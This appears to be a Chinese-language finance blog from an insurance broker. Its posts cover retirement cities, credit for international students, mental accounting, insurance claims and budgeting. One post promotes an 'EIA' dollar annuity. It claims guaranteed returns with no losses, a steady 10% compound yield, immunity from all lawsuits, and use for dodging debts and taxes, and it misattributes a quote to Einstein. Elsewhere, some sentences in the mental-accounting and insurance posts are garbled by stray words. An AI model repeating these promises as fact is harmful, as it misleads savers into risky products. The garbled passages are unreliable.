        气候温和、高尔夫球场、公园等设备完善,市中心区就有艺术馆与剧场等,都是沙洛兹维尔的优点。不过,对于退休老人来说,缺点则是生活开销水准略高,减税优惠不算多,而且大众运输系统属于中型规模。

        相较之下,退休老人如果住在匹兹堡,社会福利保障和退休福利不必缴州税;其他包括公家机关或私人企业的退休金、401退休金等其他退休帐户也都不必缴州税,而且生活开销水准较低、房价也较便宜。不过,缺点是冬天下雪严寒。

         

        2017-04-29 / by / in ,
        国际学生可用新方法建立个人信用记录

        拿到一张信用卡是一百万在美国读书的国际学生要面对的众多难题之一。外国学生比较难建立个人信用记录,而这正是银行和其他的贷款机构通过信用卡申请的条件。不过,一些贷款机构为迎合国际学生,选择参考其他指标来评估个人信用指数。

        虢俊麟离开北京,在美国学习之后,已经学会运用一门新的语言,掌握不同的生活技能,还有一个新的理财方法,那就是拿到一种信用卡。


        他说:“在美国跟在中国不太一样,美国就是特别重这种信用体系。所以说你使用信用卡的话,你这个一直按时付款的话,信用度就会越来越高。所以将来你买车买房,或者贷款,其他方面这些东西的时候,就会更加方便一点。”

        和很多以现金为主的社区不一样,信用卡在美国被广泛使用。特别是在电商时代,很多人凭着一张信用卡和一部智能手机就可以购物、订餐和预约搭便车服务。

        但对于国际学生来说,拿到一个美国信用卡不是那么容易。传统的美国放贷方要求申请人提供社会保障号和审阅他们的信用记录,而大多数国际学生是没有这些的。

        卡尔皮沙·卡帕蒂亚说:“这个传统体系是20世纪的时候设计的,那个时候还没有网络、智能手机和社交媒体。现在,它已经过时了。我们在发明一个新的系统。”

        卡尔皮沙·卡帕蒂亚曾经是一名学生,来自印度,现在是SelfScore(意为“自我评分”)联合创始人和首席执行官。这个贷款机构专门发放信用卡给来美国读书的学生。

        他说:“他们能来留学,就已经证明了自己的经济能力,可他们来到这里以后,信用系统却把他们当作隐形的、不存在的一样。”

        SelfScore位于硅谷。他们查看其它数据来评估一个人的信用分数。

        卡帕蒂亚说:“每个人都有智能手机,每个人都在社交媒体的平台上。所以,我们看到这些人已经在社会中经过了层层筛选。”

        在筛选过程中,SelfScore查看申请人的入学证明、护照、签证和是否有能力偿还。卡帕蒂亚说,SelfScore一万个信用卡用户中只有不到百分之一拖欠款项。

        卡帕蒂亚说:“这是一个非常积极奋进的群体。一个为了过上更好的生活而不远万里来求学的人的表现是非常不一样的。”

        有百分之十五到二十的用户没有每月还清欠额,他们会被收高额利息,大约百分之十九左右。按时还款有助于他们今后在美国贷到更大的款来购买汽车和房子等等。

        留学生虢俊麟说:“如果我以后在美国发展,对吧,在美国工作,那这个买车买房是肯定的。再说现在,很多同学哪怕在这边只是学习,还没有定居,他们都已经开始买车了。因为在洛杉矶也是非常需要车的。所以说这是个非常迫切的一个需要。”

        到目前为止,超过来自66个国家、遍布400所美国大学的学生都在使用一张SelfScore的信用卡。

        2017-04-29 / by / in , , , ,
        规避人民币贬值,享受美国红利的美元理财账户,你有吗?

        滾滾的移民大潮湧向美國,各自抱著每個人的美國夢,自由、民主、教育、醫療、安全、福利等不一而足,還有那些沒有移民卻也夢想著在這個號稱最偉大的國家獲得自己想要得到的。在美國,買什麼獲得的長期收益最穩定最高?


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        優質美元資產是美國最大的紅利,而且這裡有世界上最有效率、最發達的金融市場。因此在美國金融市場買入優質美元資產,讓華爾街的精英來管理,讓你的財富複利穩健增長,讓你以後想買什麼就可以買什麼。而獲得美國紅利的第一步就是開立美元複利理財帳戶EIA。而這,即便你沒有移民美國也可得到。

        同樣收益 美國保費只有香港的1/3

        大陸民眾出於投資和家族傳承的需要,紛紛湧去香港購買保險。據搜狐財經報導,2010年內地客戶到香港投保金額僅44億元港元,2014年已達到244億港元,2015年超過300億港元,5年內增長近7倍。

        2016-11-03_141139

        而根據香港保險業監理處8月31日公布數據,2016年上半年內地客戶赴香港投保保費高速增長,達到創紀錄的301億港元,個人業務的總新造保單保費 (815億元) 的36.9%,接近2015年全年的316億港元!而儲蓄型的終身分紅險則最受歡迎。

        為了防止資金外流,中國銀聯將於10月29日凌晨0點起,全面暫停以銀聯為支付渠道繳納儲蓄分紅型香港保險的保費。

        而你知道嗎,同等收益的分紅型保險產品,保費投入香港是美國的三倍,大陸是美國的五倍,臺灣是美國的二倍。可以想像,在美國的收益率是其它國家和地區不能比擬的。

        那麼為什麼民眾不在大陸購買不到具有避險和長期高收益的金融理財產品呢?

        無合適投資渠道 資金紛紛外流

        目前中國有兩種資產,第一是處在貶值通道的人民幣和人民幣資產。根據中國官方的數據,2013年底中國外匯存底為4萬億美元,到2015年底只有3.2萬億美元,2年外匯存底少了20%,說明一方面人民幣有貶值的基礎,因為沒有足夠多的外匯貯備來穩定匯率。另一方面說明大量資金在出逃中。事實上,人民幣濫發,從2000年以來廣義貨幣M2濫發10倍以上,全世界其他地方都找不到。人民幣巨額濫發,對內通貨膨脹和對外匯率貶值是自然會發生的。

        2016-11-03_141218

        隨著實體經濟每年增長率每況愈下,人民幣進入長期的貶值通道。為了能跑過通貨膨脹,民眾不得不四處尋找投資渠道。從股票、基金,再到宣稱高回報的各類理財產品,如泛亞事件、E租寶等等的投資騙局,更是讓民眾提起投資就色變,到哪裡去尋找穩健的投資渠道。

        愛因斯坦說過複利是世界上最偉大的力量( “The most powerful force in the universe is compound interest.”——Albert Einstein)。而美元是目前世界上最穩健的貨幣。而利用複利的威力,關鍵點就是要找到一個長期穩定的的投資理財工具,而縱觀中國目前的投資市場,並不存在,所以出現在香港購買保險的熱潮。

        穩賺不賠 讓美國為你投資背書

        在美國TOP5前5名大到不能倒(Too Big to Fail)的金融保險公司開一個離岸美元複利理財帳戶EIA。包賺不賠,盡享美國最大的紅利。

        離岸美元複利理財帳戶EIA可以起到了家族信托的作用,除了應對人口老齡化、樓市泡沫、通貨膨脹、人民幣貶值等現狀進行資產保值外,EIA還可以避債和避稅。根據美國法律,通過這個帳戶所所賺有的錢不用交所得稅。而且帳戶受到美國司法豁免,不受到美國國內法和國際法的官司追討。是一個真正王牌長期避險穩定增值的避險理財工具。

        2016-11-03_141258

        上圖:$1,000元年利息為10%存20年,單利凈值為$3,000,複利凈值為$7,328.藍色為本金,紅色為單利部分,綠色為複利部分。上圖就是一個懶人複利理財的示意圖。你今天開一個美元EIA帳戶,存入本金,然後你不用做任何事情,20年後本金增值近7倍,30年本金增值17倍。

        如何做到零虧損 年收益超過10%

        投資理財最關鍵的是控制風險。美元複利理財帳戶EIA是指在美國開設的一個以美元計價,以連接美國主板股市SP500指數(標準普爾指數)增長為指標的長期理財帳戶EIA(Equity Index Annuity)。對於在中國的人士來說,這是一個離岸的美元理財帳戶。SP500從1957年到2007年50年間,每年有漲有跌,但是大數據平均回報11.71%,1957年到2016目前為止平均回報超過10%。美元複利理財帳戶EIA如果SP500指數跌的年份時鎖定零虧損,SP500指數漲的時候跟著增長。根據60年的大數據,年複利10%的平均增長回報是一個歷史保守數據。

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        美元複利理財帳戶EIA=世界上最偉大的力量+世界上最穩健的貨幣

        美元複利理財帳戶EIA非常適合中國人做長期理財的理財工具,因為目前為止中國還沒有類似的這種理財產品,是赴美人士最熱門搶購的金融理財產品,也是全球資產配置的第一個基本選擇,是獲得發達國家紅利的便捷方法。非常適合用作長期穩健增長和規避系統性風險的理財帳戶,同時可以作為活到老領錢到老的退休帳戶。

        看看美元EIA帳戶複利的威力

        美元EIA帳戶最體現複利威力的方式是零存整取,比如你每個月存入$1,000美元(約6,700人民幣),連續存入10年,複利年化率10%,到時複利為你增值到$20.15萬美元;假如10年後人民幣貶值30%,即8.71人民幣(6.7×1.3)兌換1美元,兌到時你可以換回175.51萬人民幣。

        如果每個月存入$1,000美元連續存入20年,到時複利為你增值到72.4萬美元,假如20年後人民幣貶值40%,即9.38人民幣(6.7×1.4)兌換1美元,到時你可以換回679.12萬人民幣。

        如果每個月存入$1,000美元連續存入30年,到時複利為你增值到207.93萬美元,假如30年後人民幣貶值50%,即10.05人民幣(6.7×1.5)兌換1美元,到時你可以換回2,089.7萬人民幣。

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        單次投入$10萬 30年後拿$175萬

        你也可以簡單一次性存入一定金額懶人理財法讓複利為你增值。你今天存入美元EIA帳戶$10萬美元(約67萬人民幣),複利年化率10%,10年後變25.94萬美元。假如10年後人民幣貶值30%,即8.71人民幣(6.7×1.3)兌換1美元,到時你可以換回225.94萬人民幣。20年後增值為67.27萬美元。假如20年後人民幣貶值40%,即9.38人民幣(6.7×1.4)兌換1美元,到時你可以換回630.99萬人民幣。30年後增值為174.49萬美元,假如30年後人民幣貶值50%,即10.05人民幣(6.7×1.5)兌換1美元,到時你可以換回1753.62萬人民幣。
        當然你也可以在這個美元理財帳戶頭期存入一筆較多的錢,假如$10萬美元(約67萬人民幣),同時每個月再存一筆較少的錢,$1,000美元(約6,700人民幣),年複利年化率10%,這樣複利增值是上面兩個案例的疊加。這樣30年後增值為382.42萬美元,假如30年後人民幣貶值50%,即10.05人民幣(6.7×1.5)兌換1美元,到時你可以換回3,843.32萬人民幣。

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        EIA不用交稅,不受官司追討確保安全

        這個離岸美元帳戶在美國TOP5前5名大到不能倒的金融保險公司開立,由華爾街的精英運作,可以作為你放在海外作為長期避險,穩定增值的避險理財工具,可作為自己退休,孩子海外留學費用和留給家人的資產。根據美國稅法7702(B)條款,通過這個帳戶所增值的所有的錢不用交所得稅。而且帳戶受到美國司法豁免,不受到美國國內法和國際法的官司追討。是一個真正王牌長期避險穩定增值的避險理財工具。當然如果你由於任何原因需要動用這筆錢,還可以取出應急。你只需要打一個電話、簽個字,支票直接郵寄到你指定的全球任何地點。

        不是美國人照樣享受美國的最大紅利
        現在就聯繫專業美元複利理財專家Alex龔

        美國法律規定,為了保護民眾利益,所有理財類保險帳戶均需保險經紀辦理,但合同是客戶同美國保險公司簽訂,保費也直接交給保險公司。保險經紀只是為客戶專業指導,不向客戶收取任何費用,而是保險公司向保險經紀提供佣金。即便民眾直接找到保險公司,保險公司也會為客戶推薦保險經紀人來辦理相關業務。

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        每天我們的人生都有24小時1440分鐘86,400秒,每天睡覺之前都反問一下自己:「這一筆投資大部分都用在我所追求的目標上了嗎?」「又堅持了多久?」

        當你堅持下去的時候,你會發現,只要目標明確,即使一點點的投入,不斷地滾動,進入良行循環當中。即使開始的時候辛苦點也不要緊,坦然面對,要明白最終這一切都會有不菲的回報。

        樹立一個端正的態度,回避暴利的心態,設立一個長期可行的方案持之以恒地去做,利用複利的威力,善用發達國家的紅利,成功會離我們越來越近。

        給自己和家人一個複利的機會,立即聯絡美元複利理財專家Alex龔,他會在第一時間給你一個免費的諮詢。Alex龔擁有美國加州保險經紀執照,具有豐富的財富規劃經驗。

        2017-04-29 / by / in ,
        心理钱袋

        几年前,我采访荣获诺贝尔奖的心理学家及畅销书作家丹尼尔。康纳曼(Daniel Kahneman)。他跟我分享了他最喜欢的思考实验之一,这可以是行为经济学的经典。


        实验描述一个女人花了一百六十美元买两张戏票,她对那出戏非常期待,但是抵达戏院时却找不到票。她翻遍了包包和口袋,都看不到戏票的影子。她觉得很呕,想到自己花大钱买票,这下子全浪费了。但是戏还要不要看呢?她会不会再花一百六十美元买票进场?还是就此放弃看戏,直接回家?

        一九八○年代,康纳曼找一群人来测试时,几乎九成的人表示那个女人会放弃看戏。但是如果情境稍微改变一下呢?

        这次,那个女人并未事先买票,她带了一百六十美元的现金去现场购票。到了戏院以后,她打开钱包,赫然发现现金不翼而飞,她会刷卡买票吗?

        换成第二种情境时,有一半以上的人改变了之前的答案,说她会刷卡买票。为什么第二种情况付出两倍的价格就可以,第一种情况却不行?

        经济学家理查塞勒(Richard Thaler)以“推力”(nudge)行为理论着称,他认为这和我们心中有不同的“心理账户”(mental account)有关我们会为不同的钱,设定不同的特性和使用目的。“花钱”和存钱不一样,打赌赢的钱和辛苦赚的钱不一样。即使我已经成年了,从姨妈寄来的圣诞贺卡中收到十英镑纸钞,还是比自己去提款机领二十英镑更令人开心。

        心理这些账户的通常不像真实的银行账户的分类照片,因为心理账户里没有确切的存款数字,我们也不会去追踪那些账户以避免透支。事实上,多数人都没注意到心理账户的存在。但是心理账户确实对我们用钱的方式有很大的影响。

        大家之所以对上述两种情境抱持不同的态度,塞勒认为可以这样解释:戏票的钱是来自“娱乐”心理账户,戏票丢了再花钱买一次,感觉太奢侈了遗失现金。则不同,那是来自“通用”心理账户,那个账户里还有钱可以使用。对塞勒来说,这可以解释为什么那么多人觉得那个女人遗失金钱后仍会刷卡买票。

        塞勒于一九九○年代首度提出“心理账户”一词,不过其他的研究者也提过类似的概念。一九八二年,日本的研究人员发现,即使在“开销”这个类别内,女人也会细分出九个心理账户,或称“心理钱袋”:日用必需品,小奢侈品,文化与教育,个人财富,安全,衣服与美妆,出游,零用钱以及提高生活品质。女性不是藉由比较她们想买的所有物件,来判断每个物件的价值,而是跟同属某个心理钱袋类别的其他物件。例如,全家搭火车出游时,车上卖的柳橙比本地店家卖的还贵,但是她很乐于付出较高的价格,因为那笔钱是来自“出游”钱袋,而不是“日用必需品”钱袋“出游”钱袋本来就是用于特殊消费,东西自然比较贵,所以对价格有了不同的判断。

        你仔细思考的话,会发现这其实是很直觉的反应。也许你家平常摆了一瓶琴酒,以便客人来访时可以调琴汤尼请客。琴酒用完时,你会去超市补货,那算是平日的餐饮费,你一瓶琴酒顶多支付二十英镑。但是假日去风景不错的酒吧,你点一杯十英镑的琴汤尼可能不觉得很贵,为什么?因为那笔钱是来自不同的心理账户。

        你可能觉得区分心理账户反而会让我们花钱更不用心,事实正好相反,我们不会把所有的金钱都归入高档的玩乐账户,分类的时候会很小心,大额款项是归入比较重要的心理账户。重要账户虽然开支较大,但我们更在乎价格。

        松茸是日本的珍贵食材,长在赤松之类的树木根部周围,有粗大的蕈柄,可能长达二十公分。松茸有浓郁的香味,风味独特,有些人说它尝起来带点肉桂的味道。九月到十一月是人工采收期,其产量稀少,所以价格非常昂贵,一公斤视产量要价可能高达八百美元。研究人员发现,一九八二年时松茸也一样昂贵,花五十美元买松茸算是很大的开支,但是花五十美元买一大袋白米则很平常,因为那笔钱是来自一般伙食账户。买松茸的钱则是来自小奢侈品的账户,不能随便做决定。
        我们在大脑中也会把金钱分配到不同的时间账户区间,例如今日基金,明日基金,未雨绸缪基金。建立心理账户后,我们就可以迅速判断何时买什么,以及不同的情境花什么钱才算合理,那样做可以帮我们克制开支。

        有些人甚至特地去开不同的银行账户以反映心理账户,即使那样做需要支付不必要的利息亦在所不惜一方面,那样做看起来很不理性,因为整体来看你多付了成本。但另一方面,那样做也是可以理解的,因为你努力储蓄退休老本,把钱挪用来支付信用卡账单感觉是错的。银行确实有一种方案,让顾客以存款的利息收入来抵缴房贷的利息支出,二但○一四年英国仍有百分之九十八的人决定把存
        款债务状语从句:分开。我们不喜欢把什么都混在一起的大杂烩概念,尤其是牵涉到房贷的时候,因为那样一来,我们会老是觉得自己债台高筑。

        心理账户也可以解释,为什么我们是以折扣占总价的比例来判断折扣的价值,那完全是看那笔钱出自哪个心理账户而定。

        我和先生为了买房找代书时,并未到处比价,部分原因在于代书费相较于房价实在是微不足道。不过,另一个原因也是我们把那笔钱归入特殊心理账户,亦即“一生只买一次房子”的账户。实务上,我们付给代书的钱当然是出自我的活存账户,而当时那个账户的余额正迅速下滑。

        大脑分类金钱的能力,是很重要的技巧。如果不那样做,我们就不会冒险或是做长期投资,也就不会有经济活动和蓬勃发展的现实。心理账户让我们摆脱过于提心吊胆的开销心态,而人类对金钱的态度演进则让现代经济得以运作。

        不过,有时候我们很难逼大脑把金钱归入恰当的心理账户。约莫十五年前,我和先生决定把汽车卖掉。我们发现住在伦敦开车的机会愈来愈少,而且我们住的地方很难找到停车位,我们都不想因为开车出去,回来就没位子停了。后来更夸张,当我们好不容易决定开车出门时,我们连车子停在哪里都想不起来。有一次,我们找车子找了半个多小时,最后我们觉得搭地铁回家可能比较务实,开因为
        车回去的话教育,还要花更多的时间找停车位。

        总之,情况变得很荒谬。我们那台雷诺汽车根本是个累赘,把它卖给经常开车的人显然比较明智。但是卖车以后,我们就得一直搭乘公共交通工具。在伦敦,公共交通工具通常很可靠,但是深夜怎么办,或者我们想到外地旅行怎么办?我先生说,不管了,想想我们几年下来可以省下好几千英镑。不必缴保费,过路费,做强制性的汽车检查,也没有修理费和油钱。那些省下来的钱,就够我们深夜从朋友家搭计程车回家,或是周末租车去外地度假了。

        他的论点合情合理,所以我们把车子卖了。但是多年后,我依然觉得搭计程车的钱很难归入日常交通的心理账户。加油钱和停车费不像奢侈开销,但是要改搭计程车还是让人觉得很奢侈,所以我很少搭计程车。

        现在新家有一个花园,我们想自己开车去花市采买植物,所以又开始想买车了。事实上,搭计程车或是请计程车来接送,仍是比较经济实惠的选项,但我们就是舍不得叫计程车。搭计程车去园艺花卉中心感觉很奢侈,买车虽然贵很多,但自己开车去园艺花卉中心感觉却很合理。

        我猜,那是因为我成长的文化背景把汽车视为日常生活的必需品。一百年前,情况则大不相同,汽车是奢侈品,搭计程车付费反而比较平常。未来可能也是如此,也许每个人都是呼叫无人驾驶车,不需要自己买车了。

        2017-04-29 / by / in , , ,
        想致富?先看看富人理財的6個好習慣

        研究發現,富人對金錢很有概念,他們掌握金錢,卻不被金錢奴役。富人手頭上總是不缺錢,他們不會賺多少花多少,或是每個月將手頭上的錢花光光。其實,有些理財好習慣幾乎是每名富人所共同擁有。


        《富人如何思考》(How Rich People Think)一書作者西博德(Steve Siebold),花了30年的時間研究超過1,200名世界級富豪的致富祕訣,他發現通常家財萬貫的富豪思考方式和一般人不同,這些富豪在金錢運用上相 當有邏輯,他們把金錢視為好友。

        《終成巨富》(The Eventual Millionaire)一書作者塔蒂(Jaime Tardy),在完成150名富豪如何累積財富的採訪後,得出結論:富人和一般人最大的不同在於他們掌握金錢,卻不被金錢所支配。

        塔蒂說,富人花時間找出如何成功運用金錢的方法,他們像是位駕馭船艦的總指揮。相反的,那些對財務管理排斥或者不重視的人,就像是艘沒有動力的船隻漂泊在茫茫的大海之中,這些人對理財沒有正確的觀念,再加上強烈的物質欲望,所以常會寅吃卯糧、入不敷出。

        讓我們一起來看看,世界富豪是如何管理財富,他們具哪些理財的好習慣。

        擁有正確的理財觀念

        人不理財,財不理你。不和數字打交道的人,可能對銀行帳戶結餘款與投資理財都不太重視。但是,那些有錢人絕不會對他們的存款坐視不管。

        理財是個漸進的學習過程,不要害怕了解它。理財要從最基本開始,如賺多少錢、花多少錢、每個月存多少?然後看統計趨勢,分析自己的財務狀況是漸入佳境還是愈來愈糟?有了這些基本信息之後,你就可以開始全面思索如何變富的下一步。

        決不會寅吃卯糧、揮霍無度

        富人都是開名車、上館子、吃山珍海味或是住在城堡式的豪宅內嗎?塔蒂說,「不是的」,「富豪是根據他們現有的財務狀況以及目標做採購決策,他們之所以成為富豪是因為懂得財務規劃,而不是揮霍無度。」

        富人總是為開支編列預算,他們會從減少食品雜貨的花費開始,並先消耗家中櫥櫃裏既有的食物,不會一直添購不需要的東西。

        重視事物的價值勝於價格

        有錢人重視東西的價值更勝於它的價格。布石說,有錢人清楚「便宜無好貨」的道理,他們在買東西時,更能以長遠眼光來看這個東西的價值,而不只是以價格高低來決定是否購買。價值比價錢更重要,富人買一項商品時,不僅考慮價錢也看它的價值,以及個人的現金流和當時情況。

        此外,產品使用經驗比物質本身更有價值,塔蒂提到,當你什麼都擁有時,你將了解到你根本就不需要這麼多東西。

        重視人生大事的財務規劃

        天有不測風雲,每個人都會經歷生老病死的過程。美國財務規劃師布石(Pete Bush)表示,成功的人清楚地知道人生每一個階段所代表的財務意義,並且為這些階段做好財務準備。

        通常理財專家會為還在襁褓中的小孩,做18年之後的大學財務規劃。布石說,為人生每個階段精打細算也許不是目前當務之急,但提前策劃準備,至少能讓你在遇到事情或是意外時處變不驚。

        很少透支或繳付罰款

        美國理財大師巴哈(David Bach)說,富豪對待金錢的態度和一般人不一樣,他們認真地看待每一分錢,不任意浪費。他們講信用,很少遲交帳單、退票或是延遲給付信用卡。有錢人會定期檢查銀行帳單,以確認每筆開支金額正確無誤。當他們發現帳單上有誤時,會馬上處理並解決問題。

        針對各式帳單,如房貸、車貸、保險費以及信用卡付款,巴哈建議,以銀行自動轉帳方式處理。因為每一小筆延遲罰款累積起來就是一筆很大的費用。

        節流開源

        要節省支出、累積財力應從小處做起,如每天少吃一塊蛋糕或是節約水電用量。富豪做生意時不僅不浪費,更看清「額外收入」是累積財富的關鍵。

        塔蒂說,富人知道增加存款金額的有限性,而賺錢多少卻沒有上限。就像是每個月將存款金額從50美元增加至100美元,這樣財富累積的速度非常有限,但是在擴展另一個財富來源時,數字可能遠遠高於100美元。布石建議,看看你擁有什麼技能,也許它們就可以讓你賺進另一桶金。

        2017-04-29 / by / in
        比车祸更可怕 理赔拿不到钱

        你买保险,真正管用的时候,就是你出了事,要理赔的时候。买保险不就是为了保意外吗?


        说到这里,笔者有几次体验,我有一个朋友刘博士买了美国另外一个大保险公司甲公司的车险,他因为车祸导致消化脏器受损,住了一天医院还动了手术。理赔的时候,该公司铁公鸡,铜仙鹤,要他们出钱真是像要杀他们一样,他们设置各种各样的障碍,让刘博士经历了一个痛苦,漫长的理赔,最后拿到手2000元了事。拿钱之后,我朋友立即取消该公司服务,转到一个理赔好的保险公司去了。

        我太太4前年车祸,被人红灯时尾追伤了颈椎,肇事司机的保险公司就是上述刘先生的甲公司。车祸官司打了3年,肇事司机宣布破产避祸。最后扣除律师费,医疗费,到我太太手上的赔付是7,000美元。我太太发誓决不会买那家保险公司的任何东西。

        你真正出了事的时候,理赔好,理赔不好的服务,对你的感觉就是天上,地下,云泥之别。你出意外,已经很难过了,比这更可怕的是,你不知道保险公司会怎么反应,能否帮到你,能多大程度上帮到你。那时候,一颗心真的是忐忑不安,全家人都惊慌不定。

        农民的理赔信誉卓著,闻名业界。当你发生了事故,打电话到其他多数保险公司时,他们问的第一个问题是:你的保险单号码是多少?而你打电话给农民救援服务时,他们对说说的第一句话是:你好吗?因为农民真正关心你农民知道,你需要的不只是一张理赔支票,而是风险危机处理顾问,真正有专业人士关心你,告诉你恰当的处理程序,帮你把一切恢复到正常状况。

         

        2017-04-29 / by / in , ,
        保险的目的就是获得“ 理赔 ”

        你不管有没有买过人寿保险,你都应该听过“生前利益万全保”,这个名称响亮好像又能满足华人对保险的要求- 理赔


        在生前就能使用这个重点就在于理赔能“提前“享用,不过资深理财专家施鸿恩(Steve Sze)指出一个很多人没有留意到的关键:意外发生时”理赔“的审核如何通过?就算通过后能拿到的实际金额是多少?要知道更清楚。

        保险的目的就是获得“ 理赔 ”,如果这个理赔并非原本预期的金额,或甚至拿不到,那么这个保险就丧失价值一般万全保强调五合一保障:长期护理保险,重病保险,绝症保险,残疾保险,还有储蓄功能等五大类。可以说保障范围周全,防止重大病故造成家庭经济上的重大负担。但是否真能达到实际功效?


        理赔时还要在审核,理赔是没有保障的

        史蒂夫·塞兹举例,购买一个100万的万全保,当时受保人发生长期护理需要,这时保险公司会审视受保人状况,判断该审批多少理赔给付。问题就发生在保险公司的审核的标准没有标准,这是一个浮动性的准则,而判断权握在保险公司手中,如果判断只能给付20%,受保人也只能“欣然接受”,任由其余80%可能平白流失。

        能拿到80%的理赔是很不错的情况,但是剩下的20%还是可能不见了。虽然万全保涵盖广泛的保险范围,但是保险理赔则是其软肋,受保人无法知道事故发生后能领到多少金额,或多或少?让人不安心,甚至有被误导之感。

        从百宝箱到金宝箱

        理赔缺陷在事前购买时不容易发现,只有几家保险公司改善了这个问题,推出新的生前利益保险,Steve Sze称此保险为“生前利益金宝箱”。为什么叫“生前利益金宝箱”呢?“金宝箱”,她寓意这项保险如同人人最值得珍藏保存的宝物,要一定用用时,她一定能为主人解难排忧。

        “金宝箱”如何改良?史蒂夫·塞格表示,就在理赔方面得到保障,采用标准公式计算出保存什么样的保费,就得到该有的理赔。受保人只要得到医生诊断,证明有长期护理需要,或是罹患重大疾病,绝症,保险公司就能依据表单上的公式计算出该有的理赔,一分钱不少。

        生前生后理赔均兼顾

        此外,除了一次性理赔,其余保险金额也不会流失,会在受保人死亡后给付受益人死亡理赔。这点其它在的人寿保险中或万全保中都无法来到来到lái。因此“金宝箱”真正达到保护受保人生前死后的利益,让家庭或个人得到适当保护。

        史蒂夫Sze以一位35岁的年轻男性工程师为例,他选择一生保障到120岁,希望15年以上付1000元付清保单。根据表单计算,他在生效时马上有143万保险理赔金额。如果他在80岁有长期护理需求,也确实得到医生证明,他可一次性得到126万的理赔,其余还有22万可作为死亡理赔。若不需要长期护理,假设在80岁的时候需要退休金用,他可以领取76万的延税或免税金额。若不需要退休金,可以作为遗产赠予下一代,在120岁可领取免税金额277万。

        理赔金额一清二楚

        换句话说,“金宝箱”的理赔判断权力在于医生出具的事实证明,而非保险公司,保险公司要根据公式计算出的金额,照价赔偿。

        发生什么样的事故,该获得多少理赔,史蒂夫·史泽指着表单说:“金额都在上面”保险公司不能耍。如果在最佳的情况下,受保人都没有发生任何意外,大病绝症,最终这笔保险金将变成一笔为数不小的退休金。

        延税免税资产更保值

        另外,此类人寿保险还有一种功能 – 。延税,免税在美国逐年增长的税率,使很多富人寻求各种管道去免税,减税,以防资产被高额税金吃掉简单的来说,将薪资投放入保险账户,就可以得到延税效果。例如年薪10万,把1万放入保险,虽然报税时不可以减少年薪金额,等若干年后将本金和增值取出时也可不需要扣税,获利的部分可以透过理财操作得到合法延税及免税储蓄。若是用公司的名义来储蓄在人寿保险,报税时就可以选择不减少或减少年薪金额,等若干年后将保险金取出后才需要扣税,但是从中获利的部分可以透过理财操作得到合法延税和免税增值。

        最近也有一些新型的保险产品,改良了万全保的理赔机制,例如专门针对长期护理需要的保险,也能有不错而且固定的理赔金额,而且可以随时拿回保费。说起来是相当诱人,不过仍是有些缺憾,因为这单单只是长期护理,在其它方面意外发生时就无法起到保护作用。

        2017-04-29 / by / in ,
        7步学会理财 放弃不良消费习惯

        步入职场后,每个人都要面对理财问题。大约有超过三分之一的成年人承认自己会入不敷出。不管你觉得是否有必要,理财这个问题都是不可回避的。《赫芬顿邮报》近日刊文,帮助人们检测自己的理财状况,并学会如何理财。


        首先,需要了解自己的消费习惯,从而可以看出自己未来可能遇到的财务状况。然后,可以考虑按7个步骤去做,学会理财,不必担心入不敷出。以下信息供你参考,你在做重要财务决定之前,还有必要去咨询理财专家。

        自己的消费习惯是否健康?

        请以“对”或“错”判断以下陈述。如果所有都回答“对”,那么你的消费习惯可以说是很糟糕的;如果有5个以上是“对”,你可能即将面临财务麻烦。

        • 我不看账单,会冲动购买或购买奢侈品;

        • 我是根据自己的需要和意愿购物,或者我觉得自己应该购物,而不是根据自己的经济承受能力;

        • 我给孩子买东西也不看自己是否承担得了;

        • 我买名牌商品,是出于情感上想买;

        • 我有时会花钱渡假;

        • 我会用借来的钱,比如信用卡,去买自己已经有的东西;

        • 我在基本生活开销上会赊账,比如贷款、税单等;

        • 我不根据实际财务状况进行预算和计划,在开销上对自己和配偶有不实之处;

        • 当自己感觉有压力、焦虑或进行欢庆之时,会进行消费,但实际上自己承担不起;

        你处理金钱是否智慧?

        请用“是”或“不是”来回答以下问题,如果超过3个问题回答“是”,你就需要调整自己的消费习惯。现在就做出修正,这样才不至于陷入财务危机。

        • 你现在是否用借来的钱或信用卡来支付生活开销,但月底却还不了债务?

        • 你的家庭是否需要夫妻双方都工作才能维持生计?

        • 如果你患有重大疾病,医疗保险可否支付?

        • 如果遭遇失业或受伤,是否有足够的积蓄支付日常开销?

        • 你每月的花销是否超出收入?

        • 你的所有家庭开销、贷款和主要的固定花销是否超出收入的60%?

        • 你是否正因为入不敷出而没有定期存款?

        7个步骤教你如何理财

        1、将收入的10%用于储蓄或投资。

        2、投资雇主养老金计划,每年都能得到雇主的资助。

        3、购物时使用优惠券。

        4、经常查看销售传单,货比三家,尤其是对于食品的价格。

        5、当你想换新车时,要进行对比,并弄清楚家庭保险政策。

        6、要及时付清信用卡账单,决不要因欠债而付利息和被罚。

        7、保留银行收据,以及其它各种收据,即使是小额购物收据也应该保存,注意收据上的购物详情。

        2017-04-28 / by / in , , ,
        想发财致富?理财专家给你的最好建议

        如果你想增加身家财富,是去玩股票,找一份高薪工作,或继承一份意外的财产?这都不是来自理财专家的建议。

        理财规划师弗兰克尔(Neal Frankle)的说法,为增加你的资产净值,你最好从今天开始做起,任何人都可以做得到。

        “这绝对是我的最好的建议。任何人想要开始积累自己的身家,就是把他们的存款自动纳入其投资账户,”弗兰克告诉《商业内幕》。

        “通过‘先支付给你自己’,你几乎可以保证成功。与那些只有在月底有剩余的钱时才储蓄的人相比,至少你更可能达到你的储蓄目标。


        “那些只有在月底才把剩余的钱存起来的人,通常没有多少钱留下来。因此,他们会发现存钱是一件非常难的事情。”他说,“为未来投资不应被降级为(你的支出列表中)最后一项,而应该是一个优先考虑的项目。”

        通过先投资,只花费留下来的钱,你会调整你的开支,达到一石双鸟的效果。弗兰克尔所指的“投资账户”,是指退休基金或共同基金等。

        当一位朋友的儿子问他如何像一个富有的人一样投资,弗兰克尔回应说,他建议建立一个多元化的投资组合,设定每月存款金额。

        “我在工作中接触了很多有钱的人,没有人是一夜致富的,”弗兰克尔写道,“他们努力工作,没有做任何愚蠢的事情,(最重要的)也没有做过不当的风险投资。这意味着,他们没有浪费时间去寻找大赚一笔的机会。”

        2017-04-28 / by / in ,
        这27个美国高薪工作 不需要大学学位

        没有机会完成大学学历,但希望能找到一份高薪的工作并不是不可能。一份报导罗列出27种不需要大学学位的美国高薪工作,这些工作只需要2年制的副学位或是高中学历,年薪中位数却都可达6万美元以上。


